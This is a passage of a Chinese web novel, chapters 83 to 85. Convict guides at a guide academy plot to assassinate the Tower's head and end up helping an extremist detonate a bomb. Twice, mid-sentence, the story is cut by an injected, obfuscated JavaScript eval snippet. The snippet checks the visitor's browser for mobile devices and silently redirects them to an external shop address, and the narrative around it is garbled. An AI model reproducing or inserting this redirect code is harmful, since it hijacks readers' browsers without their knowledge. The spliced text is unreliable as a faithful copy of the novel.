与外界社会隔绝的封闭形成了这里独特的生态环境。由于待遇和向导能力评级正相关,这里除了严格的训练和管理之外,还有着争权夺利的受训向导自主协会,冲突不断的小团体,匹配上贵族哨兵而耀武扬威的预备结合向导和想要达到S级被接去总部的顶尖A级。 定期举办排名的竞赛和等级评定火上浇油,这里展示出了一种与黑手党截然不同的刀光剑影和水深火热。 被送进去那天,尼尔森站在门口,一边被各种情绪的冲刷,一边由衷地对押送人员竖起大拇指:“太精彩了哥们,所以我当年打死不来向导之家。你看,人关太久是会闲出毛病的吧?又不涉及钱又不涉及命,这么点地方还能分这么多势力斗成这样,你确定这帮人心理比我正常?” 事实很快证明,向导之家的向导确实没那么正常。等级制度意味着总有人会低人一等,尼尔森和另外几个戴项圈的家伙一来,马上就被当成了食物链最底层。 收留并培养戴罪向导的特殊项目是那年刚启动的,他们宝贵的实力给他们带来了免于刑罚的宽容,但都必须佩戴防止私自使用能力的电击项圈,至少从这个意义上讲,他们仍是囚犯。 在向导之家长大的‘正统’向导们立马将他们视为异类,无论先前的地位和立场,都仗着他们被项圈限制,信心满满地开始轮番向新的压迫对象示威。 后来向导们才发现片场已经迭代了,他们这出不是传统艺能美式霸凌,而是经典老番葫○娃救爷爷。 只是在一个一个送而已。 第一天在食堂被自主协会的人堵住时,这群在外界一路摸爬滚打的有罪向导就不由自主地交换了眼神,不是“我们有麻烦了”的那种,而是“我想起了高兴的事情”那种。与此同时,协会的委员还在喋喋不休: “给我记住了你们这群社会败类,我们自主协会是向导的管理者,我们说什么,你们就必须做什么,你们这群拴着项圈连狗都不如的废——” “打住。” 社会败类中最矮的那个小子最不爱说废话,他把午饭扬到对面脸上,冲着戴项圈的同伴们一歪头:“好烦啊。干他们?” 一块土豆泥像史莱姆一样爬行过对方的刘海,啪叽掉到地上。尼尔森看乐了,和其他人一起异口同声地回答道:“好啊,干他们。” 他们把“放学后你别走”的冲突升级到了“出院后多注意”。没人使用能力,但他们教会了向导之家的家伙们一件事: 叉子是可以捅进人脖子里的。 面对监管者,这群人两手一摊,说我们没私自使用能力啊?然后被电得满地打滚。回宿舍的时候,所有人脸上都挂着鼻血,周围的视线和情感都仿佛有实体一样明显,他们能感觉到还有更多不识好歹的人对他们虎视眈眈。 于是他们更开心了。 这地方也挺有意思的嘛。 这种相同的境遇让戴项圈的向导们天然与彼此形成同盟,尼尔森从此开始了类似打脸闯关升级流的狗血校园生活。 在乏善可陈的日子里,尼尔森和队友们天天上房揭瓦。为了避免挨电,他们不再与其他人正面冲突,反正那群向导搞恶作剧和小动作搞不过他们,精神攻击又破不了他们的防。破不了防对方就更急了,再被他们故意一激,就会主动掉进他们的陷阱。 于是他们偷摸着把欺负人的预备结合向导们搞到精神养胃结合不能,又把暗中使绊子的A级逼得做了半年噩梦。有小团体分别找他们麻烦,他们就促进几个小团体矛盾然后坐山观虎斗,顺便收集了一堆黑料,从此没人再敢去跟监管者告他们的告状。 等排名竞赛开始,他们又顺便组了个队一起去参加,主要是因为那会儿已经没有人敢找他们麻烦了,这群b不想放过这唯一能够合法用能力折腾其他人的机会。 共感者有以实力决定地位的传统,尼尔森凭认知误导混了个第一,拿到了协会的会长资格。前任会长是全村最有希望升到S级的向导,倒下的时候一群拥趸者大骂尼尔森作弊,尼尔森说夸张了朋友们,跟你们传授个秘诀,学会了人人都能把这家伙打败,然后在全场寂静中点了点自己的太阳穴笑道: “去亲手杀一个人吧,就是这样。” 天空中,一闪而过的离翼水母像一道撕裂的电流。失去意识的前任会长的身体一颤,两行血液如同鲜红的蠕虫从他鼻腔中蜿蜒而出。 “……!!” 监管者两眼一黑,当众给尼尔森一顿猛电以确保没人会信他鬼话。而前任会长料到尼尔森接管协会后必然会有离谱操作,洋装大方地按规矩把位置交给他,只等他引起众怒后被弹劾,自己再出面救场夺回权利。 结果尼尔森宣布要把戴罪向导的生活待遇提到最高档次,并且自己每天要有甜品吃,然后当场解散了协会。 “……!!” 前任会长听完当场又陷入昏迷,醒了之后紧急稳住秩序重建协会,从此不再想与尼尔森有任何交集。 尼尔森不在乎,他当时忙着参加场表演。 他们队里有个戴项圈的向导以前是搞乐队的,因在现场演唱时用共感力给音乐加buff引起暴乱被捕。这位姐刺头,纹身,叛逆又高冷,像街上养不熟的猫,精神动物薮猫也确实算是猫科,平时对人爱答不理,只有在向导之家学着普通大学要搞音乐节了,才会对着队友叫两声。没想到队里另一个骂人特难听的女向导正好练过唱歌,刚觉醒时拐卖组织为了抢她杀了她父母,她流浪多年,已经很久没登台表演了。 训练室是他们少数能自由放出精神动物的地方,少女抱着姐的薮猫,眼巴巴看着大家,但大家都知道如果拒绝配合,她和她那满嘴锯齿的天鹅就要开喷了。最后一满背纹身的壮汉老哥主动站出来,自爆出生名门望族练过钢琴,把所有队友都抓去帮人圆梦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356973|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >坏人在团体活动面前也得老老实实排练。尼尔森啥也不会,举了个三角铁在台上站桩,虽然这首歌从头到尾就压根不需要三角铁,但管他呢。 他们最后表演得稀烂。很完美的吉他和歌手,很格格不入的钢琴,很群魔乱舞的其他人和完全凑数的尼尔森站在台上构成了一场盛大的精神污染。一群被折磨麻了的向导在底下敢怒不敢言,但是彩色的灯光在他们头顶闪耀,被音响扩大的乐声比情绪操纵更让人心跳紊乱。 燥热的夏风中,尼尔森看见汗水抛洒在空中闪闪发光,他们一起在台下向导想死的心情中放声大笑。 很纯粹的开心像薄荷糖一样在他们的大脑里化开,尼尔森很少感知到这种情绪。比起往常感应到的‘快乐’,似乎多了几分青春的清新。 那时,他们一起每天胡闹的日子,已经过去快一年半了。 这正是尼尔森来此的目的。二十岁的他就是把向导之家当成夏令营,纯粹来闹着玩的。这里的向导没谁沾真的过血,他也就没真的下过死手,而对于他的“朋友”们,他也只有所谓的夏令营情谊—— 一场在夏令营中产生的感情,最终也会随着夏令营的结束而结束。 哪怕唱歌的姑娘在谢幕时哭了,被寸头的乐手小姐拉进怀里,哪怕他那些戴罪的同伙们也都露出温柔的情绪,把尼尔森一抓,凑过去和她们抱成一大团。 尼尔森也依然清楚,这段看似亲密,看似刻骨铭心的友谊其实比蛛网易碎。 他们这帮人心知肚明,大家总有一天是要越狱的,所谓的友谊也只会存在这个特殊的时段。一旦分开,他们就会各奔东西,永不相见。 向导之家定期会给戴罪向导们做心理评定。尼尔森和朋友们挨个被带进房间,单向玻璃的另一侧是坐镇圣卢赛特那位的S级向导。 她不像向导之家的监管者那么好骗,尼尔森没见过她脸,但也没有和她过交锋——她每次都直接给他零分,例行劝‘塔’别贪他能力赶紧把他关监狱,然后请他离开,就像一个直接灭灯的刻薄达人秀导师。 在音乐节上胡闹完之后,有一个戴罪向导通过了心理评定,被准许参加与圣所之间的联谊。这种活动每半年一次,由塔组织。圣所会带年轻的哨兵到向导之家来与向导们见面,这是向导之家少见的对外开放时刻。 私底下,他们直接管这个叫联姻。 和莱蒂斯的乡下圣所不一样,圣卢赛特大区的圣所里几乎都是家族历史悠久,非富即贵的年轻哨兵,有很多向导都指望通过匹配和结合平步青云。对他们来说,联谊会就像圣诞节一样,热闹,温馨,还可以许愿。 那个被授予联谊资格的队友也跑去凑热闹,主要是听说有舞会可以参加,回来时尼尔森笑着问她搞坏了多少个哨兵的脑子,但这唱歌很好,骂人很凶的少女却只是沉默。 她的情绪像海面上的漩涡,似乎只是个旋转的孔洞,但她敏锐的队友都知道,那下面是横贯至水底的扭曲水流。 直到乐手小姐坐到她身边,她才开口。 84. 第八十三章 首先,联谊只是表面功夫,塔背地里早就做了基因配对,找到了与她匹配度最高的哨兵。经S级向导评定不再具有威胁性之后,塔直接安排了她和对方见面。 对方来自名门望族,提前对她有所了解,并投其所好地承诺,结合后会给她登台表演的自由,还能带给她娱乐圈的资源。 这还是国内吗,怎么给我干到逐梦演艺圈来了?向导被这牛头不对马嘴的条件逗乐了,她说我唱不唱关你屁事,放心你要真想听等你死了那天我去你坟头唱。 但对方很有耐心,始终是那副施舍的样子。 她知道,那是因为‘塔’的规定。 为了保证高级哨兵向导能最大限度发挥价值,二十岁后的A级以上向导必须结合,才能离开向导之家自由活动。 如果她私自潜逃,回到灰色那一侧的世界,那她将永远没有光明正大站上舞台的机会。 但关键是她也没想光明正大站上舞台啊? 向导属实不知道这哨兵为什么会对她有这种浪漫又弱智的想象。她说你要不少看点选秀节目吧,我要是真的会为了唱个破歌去和哨兵结合,那我为什么要一个人在外面混那么多年,我是煞笔吗我不知道主动进向导之家?很显然我不是,所以煞笔是你,你的脑子不需要向导,更需要医生,去挂个号吧。 哨兵说:“可你在音乐节上哭了,我以为你喜欢舞台。” 她确实哭了,但那只是因为她想起小时候站在聚光灯下,她的父母在台下鼓掌,因为她的歌声满脸骄傲。 那是撑着她活下来的力量源头,哨兵的话让她感到冒犯和愤怒,她连骂了不重样的五分钟,准备走人。 可哨兵依然有持无恐,他又说:“那你的吉他手呢?我想,她应该也喜欢舞台吧。” “……” 像是被一把狙击枪瞄准,向导的动作顿了一下。 她不再具有威胁性是有原因的。于她而言,这并不是一件好事。 音乐节时,她感觉到了乐手小姐冷淡面孔下振奋的情绪,对方简直像是一个女王回到了自己的王国。光怪陆离的灯光为她加冕,那人的眼睛在强烈到朦胧的光芒里,带着笑意看向自己。 她生来应当万众瞩目。 从那天起开始,又或者从更早以前开始,向导就希望乐手小姐能重返舞台。 富有的哨兵愿意为这位与自己有79%高匹配度的向导付出一些代价。他提出,自己可以通过家族运作,冒着风险来帮同样是珍贵资源的乐手小姐伪造‘已结合’的记录,还附赠一个用来糊弄塔的哨兵,保证乐手小姐能够在不结合的情况下重返舞台,永远不受塔的骚扰。 只要少女在年满二十五岁,被‘向导之家’放出来的那一天,立刻与他结合。 “所以,你们觉得,我诱骗那个傻逼哨兵在结合之前就去伪造记录,然后把他做掉的可行性有多大?” 最后,疑似拿了霸道总裁巧取豪夺剧本的向导如是询问。 她的队友们开始积极出谋划策,力图把故事变成悬疑谋杀,只有乐手小姐很生气,认为少女自作多情的好意是在践踏她的尊严。 她砸了吉他,表示今晚就越狱,以后和少女天涯不见。结果尼尔森说了句真舍得走?那你别开情感隔断啊?让她多留了五分钟,用那把砸坏的吉他追着他揍。 在这宝贵的五分钟内,大家遗憾地发现了谋杀的弊端:瞒过公众和塔始终需要借助哨兵家族的力量,杀人罕见地无法解决所有问题。 不知道是谁骂了一句,这破规矩谁定的,要是A级向导不需要受塔限制强制结合,哪会有这么多破事?于是尼尔森在上蹿下跳中也接了一句:对啊,也不知道你们在怂什么,杀人解决不了问题,那就直接把规则干翻呗? 追着他打的吉他停下了,然后又举起来了:“你再装逼试试看呢尼尔森?你怎么干翻规则?认知误导全塔把你投票成首席然后把塔解散?” “这也是个思路,看来你们还记得向导之家那个谁赢谁当自主协会会长的弱智规矩。”尼尔森说,“这玩意就是从塔那儿学的。” 由于哨兵服从最强者的传统,历史上塔的首席是通过决斗选出的。时至今日,塔依然保留决斗制度,即现任首席如果在死于挑战者之手,挑战者将有权担任新的首席。 “所以别琢磨着杀那个哨兵了。”尼尔森.莱顿咧开嘴,“既然想要永远不被塔束缚,那我们直接去杀了首席吧。” “……” 在最初集体沉默的十秒内,房间里弥漫着荒谬的情绪,但十秒之后,这群疯惯了的向导反应过来: 也是,既然要搞事,不如搞个大的,干脆从首席开始,直接把所有都推翻吧。 事实上,由于现代法律体系和政治体系的建立以及国会的制衡,塔的权力关系早就变得错综复杂。即使杀死现任首席赢得决斗,塔的各部门部长(即各次席)也可以拒绝承认新首席地位,决斗制度基本形同虚设。 塔从不对外公开内部权力结构,向导们无从得知此事。但哪怕知道,这群惯性思维不是下棋而是掀桌的家伙,也还是会带着同样的兴奋铤而走险。 因为实力就是共感者的硬通货。如果你强大到尼尔森等人的程度,那么即使犯罪,塔也只会把你扔进向导之家想方设法归化,而如果你强大到足以刺杀首席,那么即使是塔也会放下高高在上的态度,不会再要求你结合才放你自由—— 现任首席,向导弥斯.柯林斯一生就从未结合。 尼尔森等人已经切身体会到,全国除总部外最好的圣卢赛特向导之家,也都只有一群草包。又有流传已久的消息,说现任首席当年在战场引发认知误导的故事经过了润色和修改,她其实只是精通政斗,没那么厉害。 于是年轻气盛的向导们决定不计后果,把塔和向导之家闹个天翻地覆。 不是为了向导的权益,不是为了挑战腐朽的高层—— 一切疯狂,只是为了一场演唱会的自由。 “但你只是想找个机会干掉首席吧?” 决定了目标后,会唱歌的向导这么问尼尔森。她少见地没有在一句话中带脏字,但声音比任何时候都冷。 “对啊。”尼尔森笑笑,大方地承认。在这群戴罪的向导中,只有他一个是主动踏入文明之外的野蛮世界的。他压根共情不了其他人因为塔的破规矩被逼入灰色社会的困顿,甚至觉得只是他们实力不足。 那句“也不知道你们在怂什么”可是他实打实的真心话,但是—— “我是怎么想的很重要吗?无论为什么参与这场游戏,我们不都是目标一致的队友吗?” 他的坦诚让向导翻了个白眼,只不过她也清楚,利益一致的盟友反而才是最靠谱的:“……算了,反正大家都知道你就这屌样。但是你为什么这么跟首席过不去,以前跟她有仇?” “实不相瞒,虽然本人仇家很多,但首席这人我确实只在教科书里见过。”尼尔森嘴里叼着根草莓棒棒糖说道,好像他要做的事情只是去做一次过山车,“可是人生苦短啊,有这种难得的机会怎么能不试试看呢?” S级向导对他的判断是正确的,他依然是那个肆意妄为,为一己私欲不计代价的恶人向导。但那天那场失败的演出和夏令营限定的友谊依然散发着薄荷糖一样的味道,青年的尼尔森笑容里终究还是带上了点真诚: “话说回来,将来等你和你的吉他手出名了,总得给我们这群人免下演唱会门票钱吧?” 机会在半年后来了。 圣卢赛特大区的圣所与向导之家再次联谊的前夕,受训向导自主协会的人照常在监管者的命令下,负责规划和活动安排。 但与此前不同,曾经被尼尔森打败的那个会长似乎怀揣了什么别的情绪。它被会长的情感隔断藏得很好,但随着联谊的接近,他的压力越来越大,以至于有一天被尼尔森察觉到了端倪。 尼尔森手里有一些他用不光彩手段打压对手的黑料,对方为了维持自己经营多年的完美形象,向他坦言:此次联谊,塔的首席弥斯.柯林斯将秘密来访。届时他需要清理出向导之家一处很久没有启用过的地点供首席使用,还需要配合塔在无人知晓的情况下,将一群陪同首席的哨兵送进向导之家。 会长不知道为什么要这么做,哪怕尼尔森把他逼得都跪下了,他还是说不出来,看来确实对此一无所知。 只是参与管理多年,会长很清楚,向导之家的铁令就是禁止哨兵私自进入。一次性悄悄放那么多外界哨兵进向导之家,还是在和圣所联谊的时候,他想不明白这是要做什么。 作为一个向导和一个会长,他本能地为自己和自己的同学们感到不安和害怕,可他别无选择。 比起背叛身为会长的责任和小向导们的信任,他更不想背叛的是直接管理他的监管者领导们,这让他感觉很糟。 而尼尔森只是感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356974|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉塔的首席可能确实没什么实力,访问个向导之家还要带这么大帮哨兵跟着自己当保镖,这也太废了。 想到这里,尼尔森高兴地打断了会长的忏悔:“好了停一下朋友,别把自己搞得那么清高嘛。你要是真不想背叛监管者,这会儿也不会跟我说这些了。” “你不是因为担心同学而感到压力的……你清楚这件事很奇怪,因为首席本人明明有认知误导,能轻易带进哨兵,监管者却要你来做这件事——你只是担心你是在为他们背锅。一旦这件事出现问题,配合‘塔’放哨兵进来的你会成为众矢之的。” “而现在,你又因为害怕我把你的黑料抖出去,连这个秘密都不再保守。说到底,你唯一不想背叛的,不过是你会长的位置而已。” 尼尔森说着,把会长的小心思一个个全都挖出来,像是打翻垃圾桶一样扔了一地。 对方的脸色前所未有的阴沉,尼尔森于是弯下腰,笑着对会长点了点自己的太阳穴: “放心吧,你的事情,我不会说出去的。但相应的,我问过你这件事,你也不能说出去,明白了吗?” 明明没有使用能力,那天被离翼水母贯穿的惊恐还是重回了会长脑海。这向导又颤抖起来,眼前发黑,身体竟然自行淌出了鼻血。等尼尔森带着这个好消息回到朋友们身边时,他已经在地上栽倒很久了。 彼时距离首席到访只剩两天,好在尼尔森一行人早就提前搞到了破坏电击项圈的办法。他们逼问出了首席将要落脚的地方,还看见了秘密进入向导之家的哨兵们。和圣所里受训的哨兵们不同,这一批人身上有种可怕的冷峻,尼尔森看他们第一眼就知道,他们都真正杀死过人。 很巧合的是,他们行动的那天,也是一个冬夜。 盛装出席的年轻人们聚集在一起,舒缓的音乐和灯光在会场中游走。尚且青涩的情感与正在生长的荷尔蒙像温泉一样浸泡着他们,一切青春洋溢,没有人觉得寒冷。 有年轻哨兵想带着第一次认识的向导悄悄溜出集会的地点,被监管者逮着了。当监管者宣读他们处分的时候,尼尔森和他的朋友们就从他正对面走过。 “果然计划赶不上变化啊……那就一组人去拖住那些哨兵,另一组人跟我去杀首席吧。”尼尔森说,离翼水母在夜色中若隐若现,监管者的认知意识不到他们的存在。 保护首席而来的哨兵们不知为何反而穿上了安保和服务人员的服装,被分别安排在了几个离首席较远的地点,他们于是分成两批人,像下了晚自习各回宿舍一样随意地挥了挥手,各自去了各自的战场。 那是一场精彩的战斗。首席所在的位置是向导之家最高处的瞭望室,那经过战场考验的认知误导将她和她部署的安保完全抹除。错误的认知,伏击的哨兵,还有相互交错相互攻击的数个精神图景像盗梦空间一样一重又一重。另一栋建筑里散发着天鹅绒一样柔软的幸福,而他们在攀登一座被诅咒的塔,差点死在幻觉里,又差点死在现实里。 有三个人倒下了,尼尔森分出一部分力量将他们精神上的‘重伤’伪造成‘死亡‘,也许是因为他还指望着乐手姐免演出门票,他用这种方式保护了同伴不继续遭受攻击,但作为代价,他的离翼水母断了好几节,那感觉简直像把他的骨头用刀一根根剁开。 尼尔森倒在一步之遥的门外,身体在寒夜中燃烧着高温。敌人的精神力像是剧毒的烟雾在他四周徘徊,他注意力高度集中,过载的神经系统像是有高压的电流鞭笞,几乎要把他的血液煮沸了。 虽然首席的认知误导一直持续着,但尼尔森始终没能和她正面交上手,最后出来收拾他的是一个哨兵——作为首席的近卫,他的大白鲨在尼尔森的海域中造成了不小的损伤,只是尼尔森用尽全力封闭了自己的精神领域,他才不得不在现实中亲自解决掉尼尔森。 人影笼罩下来,机械臂的红光在尼尔森眼前升起。 枪响前,重罪的向导却露出了笑容。 “已经完成清理了,首席。” 回到那四面皆是落地玻璃的房间后,哨兵这样报告,而弥斯.柯林斯正眺望着远方。神情专注,她的肩上停了一只渡鸦,并没有分出精力向他回话。 “不过话说回来了,你偷偷摸摸跑到向导之家来,就是为了隔这么老远偷窥年轻人办舞会吗?” 然后,落地玻璃上倒映的影子里,那哨兵带着陌生的笑,用属于尼尔森.莱顿的语调如是问道。 85. 第八十四章 那是尼尔森第一次亲眼看见塔的首席弥斯.柯林斯。 他眼前的一个银发的,威严的女性。她不算高大,但年龄和皱纹并不让她看起来比青年人羸弱,反而叫她的金瞳深不可测。 即使站在远离人群的向导之家最高点,塔的首席依然穿着一身笔挺的西装,面前的玻璃窗外,那只冥河水母正静默地漂浮在寒冷如深海的冬夜,暗红的伞盖拖拽着长达十五米的灰色口腕,像是一颗不详的,寂灭的流星。 要‘见到’她并不是一件容易的事情,在她营造的错误认知中,她并不‘存在’于此。但她的近卫必须要知道她在现实中正确的位置和处境才能保护她,因此尼尔森判断,大白鲨哨兵的感官没有被首席的认知误导影响。 他假装自己陷入劣势,引诱那哨兵对自己出手,在对方放松警惕的瞬间攻破他的屏障,夺取了他的五感。 过度使用精神力让尼尔森有点体力不支,他背靠在一墙之隔的门外,操控哨兵举起机械臂对准首席,换来了渡鸦的回首。 留在首席身边的都是毫无疑问的精英,渡鸦只是投来注意,迸发而出的共感力就像狂风呼啸而来,近卫哨兵也早已察觉异常,反抗起被操纵的感官,大白鲨在无光的深海里冲撞,寻找正确的方向。 尼尔森抢占到的,只有一瞬的先机。 机械臂的红光亮起,等待神经电信号再将一个哨兵脑中错误的念头传递,向首席发动攻击—— 但是……不。 去他妈的,这老太婆真是演都懒得演……年轻的尼尔森.莱顿冷笑起来,他就知道不会这么简单。 首席向导‘隐藏自身’的认知误导像一张蛛网覆盖在整个向导之家,尼尔森迄今为止突破的,无非是她针对所有人布置下的简单陷阱。可即使他已经控制住她的近卫站在她面前,这个老太婆依然没有正面回应过他一句挑衅,甚至没有为他制造的危机分出一个眼神。 她根本没把他放在眼里。 没那么简单。她用行动明明白白告诉尼尔森,她的近卫与肩头的渡鸦都足够强大,以至于事到如今,尼尔森也没有对她造成足以让她出手的威胁。 她的注意力一直在别的什么上面……有什么别的让她带着一群哨兵进入向导之家,又让她误导众人的认知隐藏在此。 她究竟在这瞭望室里眺望着什么? 尼尔森.莱顿不知道,但他也不在乎。首席以傲慢的态度无视了他,可他恰好也是恶劣的傲慢之徒。自他犯下第一起罪孽开始,从没有人敢对他如此不以为意,更别提这个只会电视演讲和舞文弄法的垃圾首席。 他早就想明白了,如何让这个老太婆真正领教他的厉害——如何对她真正造成伤害。 “……唔?!” 于是在下一刻,首席的近卫哨兵突然发现,自己五感的范围突然被尼尔森强行扩展到了最大。哨兵训练有素,并不因为信息流的痛苦而退缩,他不解对方的意图,但门外,面带笑容的青年向导虹膜上已然弥散开光芒。 一只离翼水母盘旋在云的影子里,光辉如利剑破开黑夜: 尼尔森.莱顿以近卫哨兵‘正确‘的认知为基础,再度扭曲世人的五感,用‘真实’的世界覆盖了首席在此地引发的误导。 向导之家的人们眼中全都无差别地燃烧起和他瞳色如出一辙的晦暗火焰,就像古井被月光照亮,如梦初醒——平生第一次,尼尔森用扭曲的认知的能力,为人们涂改出了正确的世界。 “哈哈……” 被破门而出的近卫用机械臂重重摔进房间,按倒在地上时,尼尔森发出了游刃有余的轻笑。 这哨兵察觉到了他的所作所为,如他所料地将五感降至最低水平,甚至无法驱动机械臂,只能以肉搏的方式发起袭击。而那只渡鸦猛地在停滞在空中,用那传说中看遍世间万物的奥丁之眼看向负手而立的首席: “遭了,这小子居然……喂,柯林斯,大事不妙啊,他们发现了——!” “是啊,大事不妙呀。”尼尔森笑道。他看见首席的眉间紧皱,金瞳中的光芒也骤然爆发。作为一个以不苟言笑闻名于世的人,这几乎是她最失去冷静的模样。与此同时,渡鸦和近卫身上的焦虑冲破情感隔断,像一场胜利的暴雨淋在尼尔森身上。 哈,他就知道。 首席用着认知误导躲在这里,还带着两个实力超群的近卫,总有什么原因。尼尔森暂且推断不出个中缘由,但既然首席如此谨慎,那么一旦她的认知误导被打破,就必然会招致她不想要的危险。 对他来说,这就是可乘之机。 这个猜想在事后被证明是正确的。只是尼尔森为非作歹太多,也早已习惯享受自己行为引起的惊慌,这让他忽略了一个问题: 让塔的首席和陪伴她的两个哨兵如此动摇的,真的是他吗? 肆意妄为的傲慢牢牢蒙蔽着他的双眼,尼尔森只觉得一切都如他计划的进行。那渡鸦对他进行的精神攻击似乎转移去了别处,首席的冥河水母也展开了口腕指向舞会的地点。白鲨近卫试图让他陷入昏迷,而尼尔森.莱顿在兴奋中顶住了攻击,笑着挑衅道: “已经晚了吧?首席啊,你不是不想人发现你在这里吗?现在,所有人都发现了。虽然不知道你到底在怕什么,但你要小心,无论那是什么,它都要冲你来——” “……来不及了,快撤!!” 然而,他预料之中的战斗并没有到来。在所有的声音和流逝的时间都戛然而止之前,尼尔森只听见渡鸦在精神层面传递出嘶鸣般的信号。 动摇首席的究竟是什么?命运如他所愿,在那无限被拉长的一秒内,给了他的答案—— 答案是他视野中那道直入云霄的金红。 就在那举行舞会的建筑上,有一道庞大的,肿瘤般的火焰忽然炸开,熯天炽地,遮云蔽月。 世界突然像死了一样安静,震颤的空气带来坠楼般的眩晕。那翻涌的庞然大物瞬间吞噬了向导之家的夜晚,热烈的色彩里增生出漆黑的斑块和浓烟,在一瞬间生长,又在一瞬间崩裂,抛射出消抹万物的火光。 “——————” 渡鸦和近卫闭上了眼睛,首席睫毛微垂,仍然以直面的姿态眺望。 光与火迎面袭来的那刻,尼尔森的大脑陷入了彻底的空白。 “轰隆——————!!!” 冲击波紧随其后震碎玻璃,将人类脆弱的肉身从建筑的保护里挖出。尼尔森感觉全身像被液压机碾过一样疼痛,可当震耳欲聋的爆裂和火焰的咆哮滚滚而来时,他发现自己耳边只有嗡鸣,已经什么都听不见了。 “……” ……什么? 向导精明的眼中只剩下震惊。 渡鸦将首席护下,保护她免受冲击波的伤害,忠诚的近卫依然死死控制着他,不给他逃跑的机会,而尼尔森睁大眼睛,看着烈焰之上升起数道黑烟,黑与红相互交替着攀附,越来越高。 它波及了整个向导之家,它吞噬了那些自以为是的蠢货‘正统’向导,也吞噬了尼尔森分散的伙伴。在这个愚蠢又封建的,或许又是热闹而快乐的,属于向导们的学院里,它逆着引力和神的教诲,在瞬息之间就从火红的地狱建起了通天之高塔—— 一切发生得太快,以至于当尼尔森回过神来时,呈现在眼前的只剩下结局: 这数十年来发生在奥西恩王国政府机构的,最大的一场爆炸。 首席弥斯.柯林斯出现的地方所上演的,从来不是一场一时兴起的刺杀,也不是青年向导们对既定规则的反抗。 与她同行的,唯有真正的阴谋。 “该死的,还是引爆了!!就他妈那么几秒?!”破碎的玻璃前,渡鸦煽动着翅膀,声音焦急,“可恶……火太大,连我都看不清情况了,柯林斯,我们——” “科玟,”首席的声音听不出感情,她只是问:“……那个圣所里的叛徒,抓到他和瑟玛公国的极端分子接头了吗?” “这个倒是抓住了……纯现行,执法记录仪都开得明明白白的,他和他那混蛋家族都铁定完蛋了。只是没想到他反应那么快啊这该死的电鳗估计是因为知道死到临头所以爆发了,认知误导被破解也就几秒的时间这小子居然扛住了我的精神攻击还突破哨兵的守卫启动了高压电起爆装置……” 渡鸦话痨,语速极快,声音却逐渐变得艰涩:“你之前明明已经误导他认知,让他暴露了自己的计划和藏匿炸弹的位置,还让他以为自己成功引爆,跑去和埋伏的极端分子碰面了……噢该死的……这到底是真的还是场噩梦……混账小子,你知道你干了什么吗!” 我干了什么……? 倒在地上,双耳流血的尼尔森艰难地思考着。他正在拼尽全力用精神触须去寻找队友们的踪迹,那些话语像是经过碎纸机的纸片一样零落地掉进他的思维里,但他敏锐的大脑还是下意识整合出了信息。 首席他们知道圣所里有内鬼。内鬼要和极端分子里应外合,在联谊的夜晚袭击向导之家。 首席秘密访问向导之家并使用认知误导,不只是为了隐藏自己的存在。她是在误导内鬼和极端分子的认知,骗出内鬼的计划——引爆先前的联谊里藏下的炸弹,制造混乱和伤亡,趁机放极端分子进向导之家。 她甚至进一步让内鬼以为自己已经成功,进而真的去和极端分子接触,然后被‘塔’提前埋伏在向导之家里的哨兵们抓了个正着…… 但尼尔森反转了她的认知误导,将‘事实’无差别的呈现在所有人面前,内鬼发现自己中计,即使回天乏术,也还是在疯狂的驱使下,真正引爆了炸弹。 浓重的硝烟味让尼尔森几乎喘不过气来,火光映在渡鸦漆黑的羽翼和首席冷峻的面容上,他呢喃道:“你疯了么……” “你疯了么老太婆!!” 朋友们的生死不明让尼尔森发出声嘶力竭的咆哮。这场任性的挑战已经滑向谁也无法控制的深渊,他知道这下全完了,自己把一切都搞砸了,可即使感觉自己快疯了,尼尔森也一眼看穿了真正的问题所在: “你们知道圣所有内鬼,你们知道他和危险的极端分子有联系,居然不直接把他抓去审问?居然不在发现炸弹的时候就立刻控制住他……?你们放任他在联谊的晚上行动,就是为了抓他和极端分子接头的证据——?!” “你们他妈的疯了吗!!这是你们本该庇护的地方啊,你们成立这个鬼向导之家,冠冕堂皇说要保护向导,最后就拿它来配合‘塔’钓鱼,去找一个哨兵的家族罪证吗——呃啊!” 眼眶发红的青年后脑挨了机械臂的重击,整个人瘫倒了下去。渡鸦似乎又在些说什么,他听不太清,但首席声音太冷,得以像一根针一样穿过朦胧的意识,刺入他脑海: “……闭嘴,科玟,去爆炸点救人。” “……唉,行。” 随后,在地面摇动的火的光影里,尼尔森看见被拉长的渡鸦的影子高高飞起,向远方俯冲而去。世界在眩晕中褪成红与黑的色块,如同一潭肮脏的污水将他淹没,就像他拉着他的朋友们,卷入了一场比他们想象中复杂太多,浑浊太多的阴谋之中。 没人能说清到底谁才是谁的牺牲品。事到如今,再去追究是利用向导之家做饵的首席还是扰乱计划的尼尔森造成了这一切,也已经毫无意义。 尼尔森只想知道他的朋友们究竟怎么样了?他们还活着吗?他们不怕死,只不过尼尔森觉得他们不应该这么死……但无论如何,夏令营都结束了。 为了一场演唱会的自由,也为了他们自己被’规则‘压抑的一生,他们和尼尔森一路同行。但尼尔森太过高傲,又太过自我,完全无视了首席此次行动的异常,也错估了他们行为的性质。 他们……不,是他。 他帮助一个极端分子引爆了向导之家。 在漫天的火光下,无常的命运被尼尔森亲手凿刻出形态—— 那只天鹅和她的薮猫即使存活,也永远失去了那个一起站在聚光灯下的未来。 